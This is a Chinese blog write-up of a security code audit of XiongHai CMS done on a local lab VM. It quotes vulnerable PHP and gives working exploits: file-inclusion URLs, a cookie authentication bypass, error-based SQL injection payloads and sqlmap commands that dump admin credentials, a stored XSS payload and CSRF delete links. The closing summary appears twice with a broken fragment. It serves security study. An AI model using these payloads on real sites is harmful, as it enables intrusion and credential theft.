熊海cms代码审计

0x00 前言

​ 做这次代码审计的时候,距离看《代码审计:企业级web代码安全架构》一书已经过去了差不多一个月的时间了。借着这次机会,开启自己的代码审计之旅吧!

0x01 seay自动审计

环境搭建

本地留了一份进行源码审计,虚拟机win7下搭建作为攻击利用

本地审计

把cms丢进seay源代码审计系统里,先自动审计一番
在这里插入图片描述

发现34个可疑漏洞,接下来要做的就是逐一排查,以防误报

0x02 可疑函数跟进

/index.php:文件包含

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
  • 代码分析

    参数r只有一个addslashes函数过滤,但对于文件包含来说并没有什么用。

  • 尝试利用

    因为包含的是files目录下的文件,所以在files下新建shell.php,内容为<?php phpinfo();?>,payload:192.168.115.130:8088/xhcms/?r=shell,成功包含。

在这里插入图片描述

  • PS:根目录下新建shell.php也可以包含成功,不过需要进行目录跳转

    payload:192.168.115.130:8088/xhcms/?r=…/shell

/admin/index.php:文件包含

  • 同上,也存在文件包含漏洞

/admin/files/adset.php

require '../inc/checklogin.php';	//关键代码摘要
require '../inc/conn.php';

$ad1=addslashes($_POST['ad1']);		//全文追踪
ad1='$ad1',
  • ad1、ad2、ad3三个变量被addslashes函数过滤因此不存在注入,属于误报

  • 调用checklogin.php和conn.php两个文件,跟进下去

/inc/checklogin.php:越权

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;	
}
?>
  • 代码分析

    检查cookie中的user值,若为空则跳转到后台登陆页面

  • 利用测试

    url:192.168.115.130:8088/xhcms/admin/?r=adset

    这是一个需要admin登陆的一个页面,抓包添加user=1,爆破得到user值为admin

在这里插入图片描述

proxy修改user=admin再放行,进入adset页面并且为管理员账号登陆

在这里插入图片描述

由此可见,所有调用checklogin.php的文件都存在越权漏洞。

涵盖范围:admin/files目录下除login.php和outlogin.php外所有页面

/admin/files/login.php:SQL注入

关键代码:
$login=$_POST['login'];			//参数直接由POST获取,无任何过滤
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

$passwords=$users['password'];
if(md5($password)<>$passwords)	//将输入的password的md5值进行匹配
{
	echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
	exit;	
}
  • mysql_query()函数执行一条 MySQL 查询。

  • mysql_fetch_array()函数从结果集中取得一行作为关联数组,或数字数组。

  • 执行的sql语句为SELECT * FROM manage WHERE user='$user'

  • 这里开启了mysql_error(),可以进行报错注入

  • 账号的猜解(请忽略之前所做的所有努力,直接上干货)

    我的设想是用ASCII值对账号进行猜解

    ' and exists(select * from manage)#			//存在manage表
    ' and exists(select user from manage)#		//存在user列
    ' and exists(select password from manage)#	//存在password列
    ' and ascii(substr((select user from manage limit 0,1),1,1))=97#
    

    但是到了这一步却无法猜解出账号值,无奈之下上了sqlmap

    抓包保存为post.txt,然后用sqlmap的POST注入模块日他。

    sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user --current-db//爆当前数据库
    sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user -D xhcms --tables//爆表名
    sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user -D xhcms -T manage --columns//爆列名
    sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user -D xhcms -T manage -C "user,password" --dump//爆数据
    

    刚开始:“我要手注到死!!!”,最后:“sqlmap真香啊~”
    在这里插入图片描述

  • 这里贴一下看到的一个大佬的payload

    1' or extractvalue(1,concat((select concat(0x7e,password) from manage)))#
    1' or extractvalue(1,concat((select concat(password,0x7e) from manage)))#
    

    一次注入得到的md5值不全,两次注入得到的md5值拼接一下就能得到正确的password

/admin/files/editcolumn.php

  • 进入后台之后,继续跟进存在可疑漏洞的页面
$id=$_GET['id'];
$type=$_GET['type'];	//变量由GET直接得到,未做过滤

$save=$_POST['save'];
$name=$_POST['name'];
$keywords=$_POST['keywords'];
$description=$_POST['description'];
$px=$_POST['px'];
$xs=$_POST['xs'];		//变量由POST直接得到,未做过滤

对应以下表单的提交

在这里插入图片描述

这里出了点意外,payload没构造出来,感概一句自己的手工真的辣鸡

继续看后面的添加链接,也就是insert语句

/admin/files/newlink.php:SQL注入

关键代码:
$save=$_POST['save'];
$name=$_POST['name'];
$url=$_POST['url'];
$mail=$_POST['mail'];
$jieshao=$_POST['jieshao'];
$xs=$_POST['xs'];

还是跟之前一样,变量由POST直接得到,未做任何过滤

payload:' or updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from manage)),0) or'

在这里插入图片描述
真的要好好学习手工注入,手注不是and 1=1就完事了的嗷!贴一下学习链接

Mysql报错型注入:https://www.cnblogs.com/csyxf/p/10241456.html

admin/files/imageset.php

一个图片上传页面,核心代码如下

if(!empty($_FILES['images']['tmp_name']))
{
	include '../inc/up.class.php';
	if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
	{
		$tmp = new FileUpload_Single;
		$upload="../upload/watermark";//图片上传的目录,这里是当前目录下的upload目录,可自已修改
		$tmp -> accessPath =$upload;
		if ($tmp -> TODO())
		{
			$filename=$tmp -> newFileName;//生成的文件名
			$filename=$upload.'/'.$filename;		
		}		
	}
}

其中调用了/inc/up.class.php,来分析一下

var $defineTypeList="jpg|jpeg|gif|bmp|png";//定义白名单后缀名

function CheckFileMIMEType()//白名单检测
{
      $pass = false;
      $defineTypeList = strtolower( $this ->defineTypeList);
      $MIME = strtolower( $this -> GetFileMIME());
      if (!empty ($defineTypeList))
      {
           if (!empty ($MIME))
           {
                foreach(explode("|",$defineTypeList) as $tmp)
                {
                     if ($tmp == $MIME)
                     {
                          $pass = true;
                     }
                }
           }
		  else
           {
                return false;
           }      
       }
       else
       {
           return false;
       }
	   return $pass;
}

function GetFileTypeToString()//取文件名后三位
{
	if( ! empty( $this -> uploadFile[ 'name' ] ) )
	{
		return substr( strtolower( $this -> uploadFile[ 'name' ] ) , strlen( $this -> uploadFile[ 'name' ] ) - 3 , 3 );  
	}
}

几个主要功能就是白名单检测、文件大小检测、对文件重命名,基本就杜绝了直接传shell的可能

我自己的黑盒思路就是传图片马配合文件包含食用,但我觉得真正的黑盒应该是没办法实现的

/admin/files/manageinfo.php:Stored XSS

$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];

参数由POST直接得到,无任何过滤

执行的sql语句为

$query = "UPDATE manage SET 
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";

参数并没有用htmlspecialchars()或htmlentities()函数过滤,这就造成储存型xss,以下是payload

payload: <img src=1 onerror=alert(/xss/)>

在这里插入图片描述

这里应该还是存在报错注入的,不过跟前面一样,payload没构造出来

/admin/files/wzlist.php:CSRF

关键代码:
$delete=$_GET['delete'];
if ($delete<>"")
{
	$query = "DELETE FROM content WHERE id='$delete'";
	$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
	echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";
	exit; 
}
  • 就只是简单的GET一下delete的id,然后执行sql语句,并没有token验证

  • 抓包分析一下删除请求

在这里插入图片描述

请求url:http://192.168.115.130:8088/xhcms/admin/?r=wzlist&delete=3

  • 管理员登陆状态下点击该链接,则删除文章3

在这里插入图片描述

admin/files/softlist.php:CSRF

写法如上,也存在CSRF漏洞

/files/index.php

接下来进入files文件夹,先分析index.php

第34行跳转标签<a href="?r=content&cid=<?php echo $toutiaoimg['id']?>" title="<?php echo $toutiaoimg['title']?>"><img src="<?php echo $toutiaoimg['images']?>"></a>

包含了content.php,也就是第15个可疑漏洞的位置

/files/content.php:SQL注入

  • 全文追踪变量$id
    在这里插入图片描述

    可以看到$id被addslashes函数过滤,但是在第19行是这么写的

$query = "UPDATE content SET hit = hit+1 WHERE id=$id";

$id并没有被单引号包裹,也就造成了sql注入

  • 构造payload,成功利用

    http://192.168.115.130:8088/xhcms/index.php?r=content&cid=1 and updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from manage)),0)
    

在这里插入图片描述

  • 继续往下,第154行/?r=submit,继续跟进

    <form  name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>">
    

/files/submit.php:SQL注入

  • 除了type其他均未过滤
$type=addslashes($_GET['type']);
$name=$_POST['name'];
$mail=$_POST['mail'];
$url=$_POST['url'];
$content=$_POST['content'];
$cid=$_POST['cid'];
$ip=$_SERVER["REMOTE_ADDR"];
$tz=$_POST['tz'];
  • 以下是可利用的几条sql语句
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
$query = "INSERT INTO interaction (type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date) VALUES ('$type','$xs','$cid','$name','$mail','$url','$touxiang','$shebei','$ip','$content','$tz',now())";
$query = "SELECT * FROM content WHERE( id= $cid)";
$query = "SELECT * FROM download WHERE( id= $cid)";
  • 关联文件

    contact.php

    software.php

files/software.php:SQL注入

$id=addslashes($_GET['cid']);
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
  • 写法跟前面的一样,payload也同样可以使用

  • 关联文件

    downloads

files/downloads.php

在这里插入图片描述

全文追踪结果显示fileid被addslashes函数过滤,且sql语句中fileid被单引号包裹,不存在注入

seacmseditor/php/controller.php

if (isset($_GET["callback"])) 
{
    if (preg_match("/^[\w_]+$/", $_GET["callback"])) 
    {
        echo htmlspecialchars($_GET["callback"]) . '(' . $result . ')';
    } 
    else 
    {
        echo json_encode(array('state'=> 'callback参数不合法'));
    }

这里在输出的时候用htmlspecialchars函数将特殊字符转换为html实体,所以不存在xss,属于误报

整个文件夹下就是Ueditor富文本编辑器,也就不去深挖了

0x03 漏洞总结

越权及登陆绕过

  • 位置:/inc/checklogin.php
  • 影响范围:所有调用此验证的页面

SQL Injection

  • update语句报错注入
  • insert语句报错注入

File Inclusion

  • /index.php
  • /admin/index.php

Stored XSS

  • update语句参数未经过滤直接带入查询
  • 影响范围:留言板、评论及后台信息设置

CSRF

  • 后台管理页面无token验证
  • 影响范围:update、delete等管理员操作

0x04 个人体会

  • cms审计及测试时的漏洞利用方法和靶场bypass姿势千差万别

  • 手工!手工!!手工!!!真的太重要了,学不好payload都搞不出来

  • 自己的一些心得:可疑函数追踪、关联文件分析以及一些常爆洞的功能模块

  • 真的很花时间,做完这一套cms审计大概花了5天时间,而光今天的收尾工作就从中午12点一直做到晚上8点
    陆绕过

  • 位置:/inc/checklogin.php

  • 影响范围:所有调用此验证的页面

SQL Injection

  • update语句报错注入
  • insert语句报错注入

File Inclusion

  • /index.php
  • /admin/index.php

Stored XSS

  • update语句参数未经过滤直接带入查询
  • 影响范围:留言板、评论及后台信息设置

CSRF

  • 后台管理页面无token验证
  • 影响范围:update、delete等管理员操作

0x04 个人体会

  • cms审计及测试时的漏洞利用方法和靶场bypass姿势千差万别
  • 手工!手工!!手工!!!真的太重要了,学不好payload都搞不出来
  • 自己的一些心得:可疑函数追踪、关联文件分析以及一些常爆洞的功能模块
  • 真的很花时间,做完这一套cms审计大概花了5天时间,而光今天的收尾工作就从中午12点一直做到晚上8点
  • 不难,真的不难,就是头有点凉
发布了22 篇原创文章 · 获赞 24 · 访问量 1975

猜你喜欢

转载自blog.csdn.net/weixin_43872099/article/details/103001600
今日推荐